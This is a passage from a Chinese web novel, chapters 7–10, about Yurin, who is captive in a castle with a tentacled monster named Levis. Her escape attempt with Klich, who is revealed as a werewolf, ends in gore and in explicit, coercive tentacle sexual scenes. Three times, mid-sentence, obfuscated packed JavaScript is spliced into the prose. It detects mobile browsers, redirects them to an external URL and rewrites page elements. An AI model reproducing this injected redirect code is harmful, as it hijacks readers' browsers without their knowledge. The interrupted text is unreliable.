那张脸缓缓贴近她,高挺的鼻梁已经蹭到了她的鼻尖,是个极其暧昧的姿势,好像下一秒就能唇齿相连。 周围的触手发出骚动的低频声,尤琳咽了口唾沫,不敢去看利维斯的眼睛。 利维斯没有再近一步,他盯着身下的人,微微皱眉,似乎有些不满。 那张因为恐惧才会一开一合的唇今天异常地平静,就像是做好了准备迎接他的到来。 人会在恐惧的时候分泌更多的液体,她还不够恐惧。 这是利维斯得出的结论。 尤琳等了半天,也没等来利维斯的再进一步,她刚想着要不要自己主动,先应付了这色中老怪再说。 下一秒,利维斯冰冷的声音在她耳畔响起:“今天中午,你去了哪里?” 尤琳整个人像被冬天的冰水泼了一身,彻底凉了下来。 利维斯知道她和克里奇见面了?他还知道多少? 偌大的恐惧席卷了全身,尤琳全身发麻,心脏在这一刻狂跳得厉害,感觉呼吸有些困难,不自觉的张了张唇。 那些缠绕在她腰间的触手似乎感觉到了她的情绪,莫名地开始膨胀,散发着微弱的红色荧光,低频声密集地贴在她的周围,像一群挥之不去的蜜蜂。 还没等尤琳回过神来,她的唇忽然被蛰了一口。 利维斯破开城门,开始抢夺她唇中的清液,一如既往地蛮横专注,像是撕碎了人形的优雅矜贵,终于暴露出怪物的本来面目。 亲了这么多次,尤琳也差不多习惯了,然而她今天太过心虚,以至于脑子总是在胡思乱想,吻得并不专心,只是草草敷衍地勾缠几下。 她心里还在因为刚才利维斯的那句话而打鼓,不过现在细细想来,也许利维斯只是恰好看见了她在花田,而不知道她见了克里奇。否则以这老怪物的脾气,他现在应该将她大卸八块才是,而不是听了她的话。 嗯……不能偷偷摸摸,改成光明正大,勉强也算是将她的话听了进去吧。 利维斯在她舌尖轻咬了一下,疼痛让尤琳思绪瞬间回笼,更多的清液从舌根涌出,很快就被利维斯全数吞咽。 他大爷的,这个变态! 尤琳敢怒不敢言,只好装出一副配合的样子回应两下。 配合着,忽然感觉哪里不太对劲。 这次不是触手,因为能感觉到隔着一层布料。 尤琳脑中瞬间警铃大作! 他爷爷了个西瓜皮的,她卖嘴不卖身啊! 尤琳壮着胆子咬了利维斯一口,后者大概是懵了一下,才终于退出去,眸子里溢满蓝光,像是海水即将倾涌而出。 “等等利维斯……”尤琳坐起身,只觉得头晕目眩,大喘了一口气,才说,“你知不知道我们在做什么?” 利维斯舔了舔唇上的水渍,深深看她一眼:“尤琳在和我接吻。” 尤琳喉头一紧,莫名觉得这一幕无比旖旎,不像是各种西方神话中的丑陋海怪,倒像是在海面上准备勾人心魄的海妖。 她努力保持镇定,以确保自己不会被那道蓝光吸引,哑声说:“那你知道吗?我们这样做是不对的。” 利维斯单手撑着脑袋,一脸餍足,连身上的疏离和死气都淡了许多,闻言他眼中露出了疑惑,看着尤琳:“不是尤琳主动亲我的吗?” 尤琳两眼茫然:“我什么时候……主动亲的你?” 利维斯没说话,一条触手却晃悠悠地探到了尤琳面前,在尤琳的唇前轻轻触碰了一下,勾起她最初的回忆。 利维斯说:“所以,一开始就是你想成为我的家人。” 他的触手团团缠绕着尤琳,将她带到他的面前,嗓音低哑,如同海雾尽头传来的魅惑之声:“尤琳,这场游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811717|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你亲口开启的……” 尤琳被那声音迷得晕头转向,在利维斯的提示下,她好像懂了什么。 那天她的举动和发言让利维斯误以为她愿意加入到这场过家家的游戏里来。虽然是个乌龙,但也许正是这样才在当时救了尤琳一命。 尤琳莫名心情复杂。 算了,不管怎么说,游戏既然已经开始,就没有中途退出的选项,只有死亡或者是通关。 尤琳重振旗鼓,一方面打算进行自己的下一步计划,一方面又怕克里奇的事情暴露,于是小心翼翼地踏出试探的第一步。 她斟酌了一下,说:“既然你愿意当我是家人,那我可不可以跟你商量个事情?” 利维斯微微眯起眼睛,示意她说下去。 没有直接拒绝,那就说明还有机会,尤琳松了口气,可怜巴巴地说:“我可以不上课了吗?我没有赛西莉亚聪明,这几天的课学得我好累……” “哪里累?”利维斯漠然的视线上下扫了她一眼,散布在周围的触手一言不合又缠了上来,几乎将她严丝合缝地包裹着。 尤琳吓了一跳,面色发白,以为利维斯这是间接拒绝了她,并且对于她提出来的要求表示不满。 然而那些触手缠绕的力度不轻不重,正好合适,并且有一下没一下地在她身上揉按,尤琳愣了好半晌才反应过来,这些触手好像是……在给她按摩。 只是这种按摩缓解的方式太过诡异了,尤其是那些缠绕在腿根的触手,每一次使力都差点让她决堤。 利维斯望着面色潮红的尤琳,尽管他面无表情,眼底的海水却又开始翻滚汹涌着,连带着其它触手也有了变化,直到尤琳无法忍受,开始叫不要。 触手松开的一瞬间,尤琳也跟着松了口气,颤颤巍巍地将裙子掩好。 不妙,再这样下去迟早要出事啊。 她咽了口唾沫,努力让声音听上去平稳些:“你还没回答我的问题呢?” 利维斯明显心不在焉,敷衍回答:“尤琳不想学,就不学。” 尤琳心中一喜,觉得自己可以再得寸进尺一些,于是小心翼翼地提出了第二个要求:“别的我不想学,我只想学枪术。” 想要驴拉磨,就得在它面前拴根胡萝卜。 尤琳心脏狂跳,缓缓凑近利维斯,大胆地捧住他的脸,在他唇上轻轻嘬了一口,哑声说:“你教我,好不好?” 尤琳发现了一个有趣的现象,利维斯的人形不会做出太多的表情,但当他有任何情绪时,他的触手却会最先做出反应。 就比如现在,他依旧面无表情地注视着尤琳,周围的触手却在骚动膨胀,齐齐朝天竖起,一边诡异地扭动着,一边发出那些刺耳的低频声。 尤琳敏锐地察觉出,利维斯在兴奋,因为她的主动而兴奋。 那这是不是说明她的行动都是有效的? 可是她不敢再亲了,怕下一秒利维斯就会将她整个人拆吞入腹。 尤琳等了很久,才等来凉凉的一句:“好,我教你。” 8. chapter.8 “早上好,尤琳。” 尤琳抓了抓鸡窝头,迷迷糊糊地睁开眼,对那两张惨白的丑脸已经见怪不怪了。 她打了个哈欠,回应说:“早上好。” 早餐依旧是面包牛奶,尤琳不太爱吃,随便应付两口后,蒂奇告诉她,让她吃完饭后去射击场等着。 射击场! 尤琳两眼放光,没想到利维斯真的没有骗她!心想着,昨晚出卖一下灵魂还是有用的。 有了这个好消息,尤琳把剩下的面包和牛奶都吃完了。 填饱肚子才能好好上课! 不过尤琳原本以为又会是皮套来教她射击,但当她来到射击场,只看到一个穿着白衣黑裤的人影站在靶子前调整枪支,宽肩窄腰,长裤收束进一双黑色皮靴之中,那双腿看着比她的命还长。 利维斯动作迅速地给手枪填充好子弹,然后将枪交到尤琳手中。 尤琳双手捧着那把枪,像捧着自己的生命一样小心翼翼——这可是真枪实弹啊,不是训练馆里那些□□可以比的。 万一一个不小心走火了,别没打中利维斯,倒先把自己崩回老家了。 利维斯扫她一眼,深蓝的眸子里闪过一丝微光,不知道是在想什么,他敲了敲桌面,示意尤琳抬头看自己。 “尤琳是初学,应该先掌握射击姿势。”他又拿起另一把枪,双手握枪将手伸直,瞄准靶子,“看着我,尤琳。” 白皙骨感的手指扣在扳机上,随着扣下的一瞬间手背上绷出一道青色的线条,力量十足。 砰的一声,子弹在靶子中心贯穿出一个黑洞。 尤琳目光延迟,从利维斯的手转移到靶子上,后知后觉地惊呼一声:“牛*!” 利维斯看她一眼,虽然不知道“牛*”是个什么词,但从她的神情不难看出是在夸赞他的意思。 他总能很快地学会人类的技能,并且在极短的时间内达到精通,那些人类在不知道他身份的情况下对他也有诸多夸赞,利维斯并不太在乎这些,因此对于那些恭维没有多大感触。 但尤琳的话却让他的心脏莫名像是被勾了一下,有些发痒,几乎要按捺不住意识的涌出。 他顺着尤琳的话,问:“牛*是什么意思?” 尤琳有意哄着他:“就是说你很强,很厉害的意思!” 利维斯平直的嘴角往上微微勾起一个弧度,却好像没有意识到自己在笑,因此显得有些僵硬。 尤琳还掌握不了单手,只能学着利维斯双手持枪的姿势,她需要控制力量稳住枪支,这和扣扳机的力度有关。 利维斯在她的枪上摆了一枚子弹,只要扣动扳机的时候子弹没掉下来,就算成功。 之后的时间,尤琳都在射击场练习。 她把对面的靶子想象成利维斯的脑袋,但学枪只是其中一步,另一步是偷枪。 对于身处于一个陌生世界的人来说,枪是让她最有安全感的东西,哪怕是出了古堡也很好用。 但利维斯总是会在训练结束将枪支收起来,想要拿到只有两个办法,第一个是让利维斯陷入沉睡或者是昏迷,第二个办法就是将他引开。 这期间克里奇送来了一张手绘的地图,上面详细标注了古堡外通往城镇的道路,尤琳对此很感谢克里奇,于是又赏了他一巴掌。 接着她又叫克里奇去准备一些迷药,克里奇却告诉她这种东西市面上看管得比较严格,很难找到渠道,就算找到了价格也比较昂贵。 他坦诚地表示自己办不到,垂头丧气耷拉着脑袋。 尤琳隔着栏杆又给了他一巴掌激励:“打起精神来克里奇!” 为了让这个家伙觉得自己有用,她又让克里奇去准备了一套男装,以便离开后能穿。 最后克里奇心满意足,带着两颊的火烧云离开了。 因为没有任何可以让利维斯陷入沉睡的东西,尤琳果断放弃了第一个办法。至于第二个方法相对来说会容易达成些,但她仍需要做好很多准备。 白天的时候,尤琳会将地图直接藏在身上。 她和利维斯只在白天扮演“感情深厚”的一家人,这个时间段里利维斯一般不会对她有太过过分的举动。 但一到夜里,利维斯就会暴露本来面目,夜夜都要缠着她索吻,除此之外,那些触手也总是不老实地在她身上游走。 所以夜里尤琳会将地图藏在床头的柜子里,或者藏在床垫下面。 这段时间她的枪术慢慢有所进步,这也就意味着行动的时间马上就要到了。 利维斯在射击课结束之后,会将枪支收进古堡的一处库房,尤琳溜达的时候记住了库房的位置,坏消息是,库房前有个皮套看守。 白天不好下手,只能等到晚上。因为利维斯想要出现,就会收回寄生在皮套里的触手。 夜里利维斯一如既往地躺在她床上,双手贴在身前,睡得很规矩,他身下蔓延出无数道触手,像密密麻麻的花丝一样散在周围,爬行缓慢,只发出微弱的窸窸窣窣声。 这幅场景有些诡异的美丽,尤琳一时看得发呆,却不知道利维斯又在玩什么把戏,只想尽快将他打发走。 她小心翼翼绕过地上的触手,走到床边,习惯性在利维斯冰冷的唇上亲了一口。 利维斯睫毛轻动,缓缓睁开眼,蓝色的眼睛像海面的一道旋涡,深深吸引着尤琳。 她连忙甩了甩脑袋,将那股晕乎乎的感觉甩出去。 触手感知到尤琳的到来,窸窸窣窣地朝她靠近。 尤琳身子一僵。 糟了,地图还在身上,还没藏起来呢! 趁那些东西将她包起来之前,她直接扑上了床——准确来说是扑到了利维斯身上。然后一边用唇严严实实堵着他,一边迅速从身上摸出地图藏进了枕头下。 利维斯向来喜欢反守为攻,今天却格外平静,甚至没有对她做出任何回应。 尤琳有些心虚,但除了勾缠他之外,她也不知道还该做什么,只能一遍一遍不厌其烦地去描绘他的唇齿,一边忍不住地想,她该不会已经暴露了吧。 越是紧张,她的身体越是颤抖,那些触手在她身上慢慢游走,熟门熟路地钻进裙子里,顺着光洁的后背在她身上缠绕了好几圈。 利维斯还是没有反应,尤琳更慌了。 **这色鬼装什么矜持,平时没把她吸干都算他大发慈悲了……等等,吸? 尤琳呼吸沉了几分,满脸涨红,她试探地学着之前利维斯的模样,从他的舌根勾了一点清液带到自己唇中,喉头一动,将冰凉的液体吞了进去。 最近和利维斯接吻时,她的感觉都很奇怪,也许是白天和晚上,两人之间关系之间的转变,虽然都是同一个人,但莫名就是让尤琳生出了一种怪异的背德感。 随着这个念头,她不自觉感到了些奇异的酥麻,与此同时,利维斯终于有了反应,实实在在的反应。 连带着那些慢慢磨人的触手都变得兴奋起来,红光大盛,缠绕的力度紧了几分,尤琳一口气差点没提上来,险些命毙当场。 利维斯习惯压着她掠夺,那些触手和他的手无异,同时在各个部位来回磨蹭。 突然,尤琳感觉衣裙之下的布料被拨开了一角,那个最先发现隐秘之地的触手像个发现宝藏的探险家,急不可耐地就要探索一番。 尤琳脑子陡然清醒过来,大喊了一声:“不要!” 利维斯没有再进一步,他苍白的面容上难得泛上红晕,漂亮得过分,此刻双眼有些茫然地望着她,开口:“尤琳?” 尤琳身体不可遏制地发抖,浑身冰凉。 她逃跑的念头此刻更加旺盛,只希望此刻利维斯能听懂她的话:“利维斯,那个地方不可以。” 尤琳是个成年人了,也会有欲望的时候,条件合适的情况下,她其实并不介意与一个有好感的帅哥一夜荒唐后拍拍屁股走人。 但利维斯不是人,是怪物。 她对此没有准备,甚至说得上十分恐惧。 “为什么?”利维斯不解问。 尤琳吐出一口气,严肃地和他讲道理:“因为这是我的权利,哪怕是家人中的夫妻关系,丈夫也不能违背妻子的意愿。只有得到允许,才可以。” 利维斯歪了歪头,原本梳理整齐的银发此刻乱得不成样子,掉下来一缕。 思考片刻后,他问:“那你什么时候允许我,尤琳?” 尤琳先是庆幸了一番,他能听懂她的意思,紧接着心想,你个触手怪永远不会有这个机会。 但她不敢直接挑战利维斯的脾气,只能暂时安抚他说:“我也不知道。” 利维斯沉默了一下,然后低下头,高挺的鼻梁抵着她的一起:“那我等你点头,尤琳。” 不知道为什么,每次利维斯喊尤琳这个名字,都会让她觉得耳根一阵发麻滚烫,连同心脏也会猛地跳动两下。 她没想到利维斯会尊重她的意愿,明明一直以来他都是一副强硬的态度,但……细细想来,利维斯好像除了在亲她的时候总是用力过猛,别的时候好像都很好说话。 就像是,只要能亲亲,别的都随她? 不,不对,这肯定是触手怪的阴谋!他可是个会吃人的怪物啊! 尤琳心乱如麻,扯了点旁边的被子盖在身上,小声说:“我、我想睡觉了。” 利维斯沉默地盯着她片刻,忽然伸手在她红肿的唇上来回蹭了两下:“尤琳。” 尤琳心脏重重一跳:“嗯?” 他这是还没满足吗? 下一秒利维斯却说:“晚安。” 尤琳只觉得身上一轻,利维斯已经从窗户离开了,那些触手眨眼间消失得干干净净,室内一时变得十分安静。 尤琳迅速起身走到窗前,依稀看见有什么东西从林子里游往湖的方向。 她不敢停留,迅速从衣柜深处掏出克里奇准备好的男装,只是那套衣服好像有股奇怪的味道,尤琳说不出来,只觉得像是狗味。 尤琳来不及多想,只能忍着难受将衣服换上,然后将头发挽起扎成一个利落的马尾,从枕头下摸出地图塞进衣服里,朝着藏枪的库房而去。 看守库房的皮套不见了,尤琳顺利潜入,拿了一把枪,一些子弹,还有一把匕首。 她总觉得这次行动顺利得有些诡异,但在时间的压迫下根本来不及多想,一心只想赶快离开。 庄园的大门常年锁死,尤琳也没指望直接从大门出去,她来到花田,那里有她事先交代克里奇藏起来的爬梯。 “赛西莉亚!” 栏杆外的草丛里传来叫喊声,克里奇忽然冒出头来,把尤琳吓了一跳。 她不打算离开后跟克里奇还有任何交集,因此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811718|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有告诉他自己离开的时间。 尤琳紧张地回头看了眼安静的古堡,紧接着问克里奇:“你怎么来了?” 克里奇说:“我不放心你,怕你夜里会出什么事,就在这边守着,这样只要你需要我,我就能出现。” 他露出一个安抚的笑容来,“放心吧赛西莉亚,我观察过了,那怪物晚上就回去休息了,不会被他发现的,你快出来吧!” 尤琳正攀着爬梯爬到了栏杆上,闻言准备往下跳的动作一僵,冷汗顺着背脊滑了下来。 克里奇是怎么知道利维斯晚上会回窝休息的? 克里奇在下面张开双手:“来吧,赛西莉亚,我会接住你的。” 尤琳不动声色地将手放在了插在腰间的枪上。 第一次见到克里奇的时候,她下意识把他当成了盟友,没有去细究对方说出的话,现在回想一下,似乎很多地方都有漏洞。 比如他这么轻而易举就相信了古堡里有怪物,尽管这可以用“对喜欢的人无条件相信”来解释,也正因为如此才产生了悖论——既然这么喜欢,为什么没有进来帮忙? 到底是赛西莉亚怕引起怪物的注意,还是他克里奇在害怕。 是他不敢进来,还是不能进来。 今晚月色明亮,尤琳隐约看见克里奇的眼睛里是一道黄绿色的竖瞳。 他似乎有些着急了,低声催促道:“赛西莉亚你还在犹豫什么!再不跑那怪物就要追上来了!” 尤琳几乎在一瞬间就有了抉择。 尽管利维斯是个怪物,却是尤琳在这个世界上唯一熟悉的家伙,加上这么多天相处下来,她也对他有了一定的了解。 但克里奇对她来说太过陌生与未知,这是比利维斯还要危险的存在。 尤琳怕露出端倪来,努力稳住声线,说:“等等克里奇,我有东西忘记拿了,需要先回去一趟。” 克里奇着急了:“都这种时候了你还回去干什么!” 尤琳没有理他,往下下了一层阶梯。 就在这时,克里奇表情突变,阴阴沉沉地抬头盯着尤琳,从喉咙里发出一声野兽般的低吼:“你要去哪?” 月光下,克里奇清秀的五官开始慢慢发生形变,每一根毛孔里生长出了黑硬的毛发,渐渐布满整张脸。那颗头像是一团面坨改变了形状,脑袋上长出了两个尖耳朵,长嘴张开,露出两排锋利的尖牙,不住往下淌着滚烫的黏液。 同时,他身体肌肉暴起,撑破了衣服,指甲猛长,像是野兽又尖又长,在月光下闪着冷冽的光点。 克里奇,变成了一只狼人! 尤琳被眼前一幕吓得两眼瞪大,她刚要爬下阶梯回到花田,下一秒克里奇已经一跃而起,轻巧地蹲在了栏杆上方。 黄绿色的竖瞳里遍布危险,他舔了舔嘴角流下的液体,从喉咙里发出含糊的,人声交杂着野兽的声音:“赛西莉亚,好美。” 尤琳身上的鸡皮疙瘩起了个遍。 克里奇抓着爬梯,他的力气极大,跟抓着一根普通木棍似得,随手往上用力一扯,爬梯瞬间离地,吓得尤琳惊叫一声,像是泡在海里抱着一根浮木。 克里奇咧嘴发出一阵“嗬嗬”的低笑,又将爬梯往上扯了一寸。 尤琳看了眼身下,心想就算屁股摔成八瓣也比被当成狗粮的好,顿时将手一松,整个人重重地摔回花田,疼得呲牙咧嘴。 克里奇看上去愣了一下,随即愤怒地将手中的爬梯整个绞碎。 他没有从上面跳下来,尤琳猜对了,克里奇不敢进来,至于为什么,他知道利维斯夜里会回到湖里,那么利维斯就是让他忌惮的源头! 尤琳摔得身体发麻,根本跑不快,她干脆不跑,坐在花田里摸出掉落在地的枪,对准了克里奇。 克里奇被她的举动激怒,仰天发出了一声嘹亮的狼嚎,然后跃跃欲试地就要闯进庄园里来。 “给我滚出去!” 尤琳正要扣动扳机。 下一秒,几条颜色鲜亮的红色触手从她的身后簌簌伸来,擦过她的头顶,直冲栏杆上的克里奇而去,不到一眨眼的时间,克里奇甚至没来得及逃跑,就被那几条触手缠住了脑袋和身体,像捆粽子一样。 触手力量瞬间收紧,克里奇的五官迅速被挤压变形,刚才还凶神恶煞的眼睛只剩下巨大的恐惧和绝望。 只听到“噗”的一声,大片滚烫的鲜血像下雨一样率先飞溅在尤琳脸上,紧接着是那些不规则的碎肉,七零八落地散了一地,正好落在尤琳身边。 尤琳表情失控,已经变得没有表情,身体僵硬发凉,克里奇的鲜血却像岩浆一样落在她的身上,烫得可怕。 月色下的触手诡异扭动着身体,像几条剧毒的蛇,淌落的鲜血就是它们口中的毒液,在捏爆克里奇后,它们纷纷转移目标,圆润的脑袋对准了尤琳的方向。 尤琳浑身打了个激灵,想也不想,对着那些触手扣下了扳机。 砰砰砰,三发子弹过后,枪中只传来卡壳的“咔哒”一声,尤琳心如死灰,看着那三颗子弹穿过柔软的触手,打出三个孔洞,却在下一秒又迅速长出填充的血肉。 完了。 尤琳绝望地垂下手,枪支从她手中脱落,掉在地上。 完了完了完了完了完了完了完了完了完了完了……她同时犯了两个死亡规则,这回是真的要死了! 9. chapter.9 利维斯发现他的家人正酝酿着逃跑。 花田,克里奇那个家伙,他早就知道它的存在,狼人身上那股难闻的气味只要沾上一点就很难消散,这对利维斯来说简直是种折磨。 最近赛西莉亚身上都是那只狼的恶臭,这让他无比厌恶,但他没有出手阻止,因为他想看看这个由自己养到大的孩子到底会不会抛弃他。 显然,在发现他的身份后,赛西莉亚不仅想抛弃他,还想开枪打死他。 虽然她是个聪明的孩子,但利维斯不喜欢背叛者。 就在他打算将这孩子清理干净时,她忽然变成了另一个人,有着和海底深处一样的发色,眼珠,却没有一样的冰冷和死寂。 相反,她热得过分,在一些特定情况下,甚至会发生一些有趣的反应,比如乱颤的瞳孔,一开一合的温室,还有那些由她酿造的,甘甜的液体。 利维斯活了不知道多久,从未尝过,这让他几近疯狂的上瘾,连带着身体也发生了从所未有的变化,每一道意识都在渴望着什么。 她说她叫尤琳。 利维斯跟着重复了一遍,觉得这个名字真是奇怪,在他的语言中,这两个字的发音就像是“求爱”。 难怪她刚刚亲了他的触手。 从前不管是任何生物,都没有胆子这么做,因为早在他们接近时,就会先被捏爆。 尤琳主动提出要成为他的家人,利维斯看得出来,她只是想活命,但他并不介意。 海底太寂寞了,他又不喜欢那些没脑子的鱼,只要有人愿意留在他的身边就好。 很快利维斯发现,尤琳从某种方面上来说,和海底的鱼没什么区别。 ……没关系,至少她很有趣,还有饮之不尽的甘液,在他这里,她怎么样都可以,背叛除外。 只是没过多久,就连尤琳身上也沾染了那只臭狼的气味。 她也会背叛他吗?会想要开枪打他吗? 利维斯蛰伏在阴影里,看着尤琳的一举一动。 她实在太过迟钝,没注意到他日日夜夜都在盯着她,只以为他会在夜里进来。 其实白天也行,无时无刻都行。 不过最近尤琳似乎变得聪明了一些,发现了他的喜好,知道以此来讨他欢心,掩盖藏在枕头下的东西。 利维斯想,那就给她一个机会,看她接下来会不会让他失望。 他继续藏在暗处窥视着她,像道无处不在的阴影,直到那道身影毫不犹豫地爬上栏杆,看上去对庄园,对他,都没有一点留恋。 嗯。 利维斯心浮气躁地想,他现在必须要去将她抓回来了,也许这一次,她的反应会带给他新的惊喜。 —— 尤琳觉得利维斯现在肯定很生气,他甚至不愿意现出人形。 铺天盖地的红色触手拢成一片庞大的阴影朝尤琳整个盖下来,尤琳吓得拔腿就要跑,却被缠住了脚腕,一寸寸往里拽去。 她觉得自己正在被吞咽,满目的红色像个巨大的盖子罩了下来,将她彻底吞进触手编织的巢穴中。 好在她还没有死。 脚下的地面和四周墙壁都是柔软黏滑的触手,上面肉眼难以辨认的细孔正散发着幽幽红光,像一道道萤火,将空间照亮,化作一间堪比红色的诡异房子将尤琳囚禁其中。 巨大的恐惧下,尤琳根本发不出一点声音,她听着来自四面八方的心跳声,感受着无处不在的视线,脑子空白了好几秒,才恍惚地想,她是被利维斯整个生吞了吗? 触手构成的密室寻不到一点离开的缝隙,尤琳全身冰凉发颤,试图找回一点自己的声音:“利维斯?” 身后的触手将她两只手的手腕猛地缠住,算是利维斯的回应。 尤琳短促地惊呼一声,被触手捆住按在了柔软的“地面”。 身下如波涛起伏,她像平躺在一艘海上小船中,心跳声仿佛贴在耳边,尤琳抽神地想,这会不会是利维斯的呼吸? 她便随着他呼吸的节奏一起。 不知道为什么,这次利维斯没有缠上她的身体,只捆住了她的手脚,但尤琳忽然感觉身上不太对劲,她隐约听到什么“呲呲”的声音,像是煤气泄露。 垂眸一看,才发现是她身上的衣服正在以肉眼可见的速度被腐蚀! 卧槽!她真被吞了啊! 腐蚀完衣服是不是就要腐蚀她了啊! 退一万步来说,尤琳最能接受的死法就是安乐死,哪个社畜上班上一半没这样想过,然而当她知道安乐死要花四十万时,瞬间打消了死这个想法。 **,死都死不起。 相应的,她最恐惧的就是被分尸,被活埋,被……社会新闻和悬疑小说看多了是这样的,所以与其说怕死,不如说她怕疼。 一想到马上就要被慢慢腐蚀成一摊烂肉,尤琳当场急了,像个被捆住的弹涂鱼挣扎着,嗓子里仿佛藏了个喇叭,大喊:“等等利维斯!我错了!我是有苦衷的!!” 喊完这句,她的衣服也被腐蚀完了,好在她的皮肉还安然无恙,像是利维斯愿意听她狡辩……不是,解释。 利维斯冰冷的声音充斥着整个红色温室:“为什么?” 那些闪光的红色小孔就像是利维斯的眼睛,尤琳有些别扭地换了个姿势,勉强挡住一些,才说:“因为我害怕。” 利维斯当然知道她在害怕,却还是故意问:“害怕什么?” 尤琳脑子飞速运转,借口一个个闪过,停在了最后一个:“害怕他们……你的那些傀儡。” 她犹豫了一下,“他们长得太吓人了……” 她眼里氤氲着一层水光,里面的液体似乎马上就要淌出来,利维斯呼吸重重一抽,忽然想凑上去将它舔干净。 一条触手从面前伸了过来,轻轻蹭过尤琳的眼角。 尤琳身子颤了一下,紧接着内心微微一喜,觉得利维斯大概是被她说动了。 这老怪物这么好骗的吗?怕不是年纪大了,只长身子不长脑。 满室的触手让她有些无所适从,于是她再接再励地说:“利维斯,我想看看你。” “地面”的呼吸频率大了一些,紧接着,对面的触手壁中缓缓凝出了一个宽肩窄腰的人形。 利维斯眸中的蓝光在一片潮红中格外清晰,尤琳一眼就看见了,像是海面上的灯塔。 触手松开了尤琳的双手。 这里面空间不大,不够一个人站起身,尤琳便坐着,和利维斯面对面。 果然,她虽然不可能一直在这留下,但如果要她短暂待上一段时间,她更愿意天天看着这张脸。 利维斯平日那张傲慢冷漠的面孔在红潮的微光下像是染了几分情/欲,但他表情不变,只有不断起伏的浪潮,代表了他的情绪。 到了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811719|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,尤琳已经确定利维斯不会再吃她了。 只是撒谎撒到底,说不定利维斯真的会把那些皮套都撤掉,这样她就不用每天早上被那两个丑皮套叫起来,而且之后在古堡内的行动也会更自在些。 尤琳咽了口唾沫,在热烈的心跳声中试探地说:“你能撤掉那些家伙吗?以后就我们两个人生活,两个人,也可以组成家庭,也可以成为家人。” 利维斯嗓音听上去有点哑,蓝光大盛的眼珠一眨不眨地烙在她脸上:“我和尤琳,能组成什么家庭?” 像是天真的询问,又像是在试探她的诚意。 尤琳犹豫了几秒,胸膛随着急促的呼吸剧烈起伏,她强行平息了一下,当机立断地凑上前去,吻了吻利维斯绷直的唇角。 只是蜻蜓点水,很快收回,她低声说:“夫妻。” 她喉头干涩地滚动了一下,又重复了一遍:“我们可以是夫妻。” 这招对克里奇没用,但对利维斯似乎有着绝对的杀伤力。 刹那间,红色温室剧烈骚动了起来,就像是在地震中的房屋开始摇晃,浪潮也变得更加猛烈,简直像是一场巨大的灾难,任何船只行驶在上面都会被掀翻,更别说尤琳。 她被颠了一下,整个人扑进利维斯的怀里,然后,感觉到了一股和触手相反的触感。 利维斯从来没有过这种感觉,他的触手们是他意识的化身,是他的一部分。 他可以掌控它们,感知它们,但对于人类形态的“触手”,他对此有些迷茫,不知道它为什么会有反应,并且完全不受自己控制。 好像只有尤琳在的时候才会这样。 总之,这是一件超出利维斯理解之外的事,每每都会让他感到焦躁,想要让它尽快平息下来。 可是尤琳在这,它平息不下来。 利维斯有些难受,闭上眼不再看尤琳,好看的眉头郁结地拧成一团。 他的每一道意识都在传递回一个信息,让他想要发疯,想要在这里将尤琳彻底纳入意识的一部分!那些嘈杂的声音吵得他头疼,无法控制,无法压制,只能通过其它途径去发泄。 其它途径? 触手构成的浪潮重重迭起,利维斯猛地睁开眼,一把抓住了尤琳的手腕抬高,湿冷的吻落在她的腕骨,缓缓往上,到掌心停住。 “尤琳,帮我。” 尤琳不是什么都没看过,什么都不知道的小白,在她感觉到那道不寻常的触手时,就知道了利维斯的意思。 只是…… 她只看过猪跑,没吃过猪肉啊! 她不弄的话会被弄死吗? 对上利维斯的视线,尤琳心里咯噔了一下,觉得那很有可能会是另一种死法。 ……没开过荤的老东西就是麻烦。 就像第一次尤琳握住利维斯的触手一样,这次是全然不同的感受,利维斯眼中的瞳孔骤然睁成了明亮的蓝色矩形。 海上的浪潮越来越大,如同创世之初带着狂风骤雨的海面,尤琳被颠得晕头转向,还没忘记自己的职责,只是这浪潮实在太过疯狂,不知过了多久,才在深黑的礁石上撞出一片片银白的浪花。 彼时,尤琳感觉腿间有什么东西流了出来,但那些触手就像是海绵,上面的小孔很快就将其悉数吞没,一点没剩。 尤琳精疲力竭地往后一倒,闭眼前心想这次总算是把老怪物哄好了吧。 10. chapter.10 “早上好,尤琳。” 尤琳将眼闭得更紧了,生怕又看到两张丑得人眼睛疼的脸。 等等……这声音好像不是蒂奇和艾玛达。 她试探地把眼皮掀开一点,先是看见一大片白净的胸膛,肌肉流畅的线条若隐若现在白色的衬衣下,继而往上,是一张干净漂亮的面容,松散的银白色发丝贴在脸侧,说不出的矜贵慵懒。 深邃平静的蓝色瞳孔中倒映出尤琳呆滞的神情。 尤琳第一眼:帅哥。 第二眼:阎王爷。 不对,换做西方的话来说,应该是撒旦。 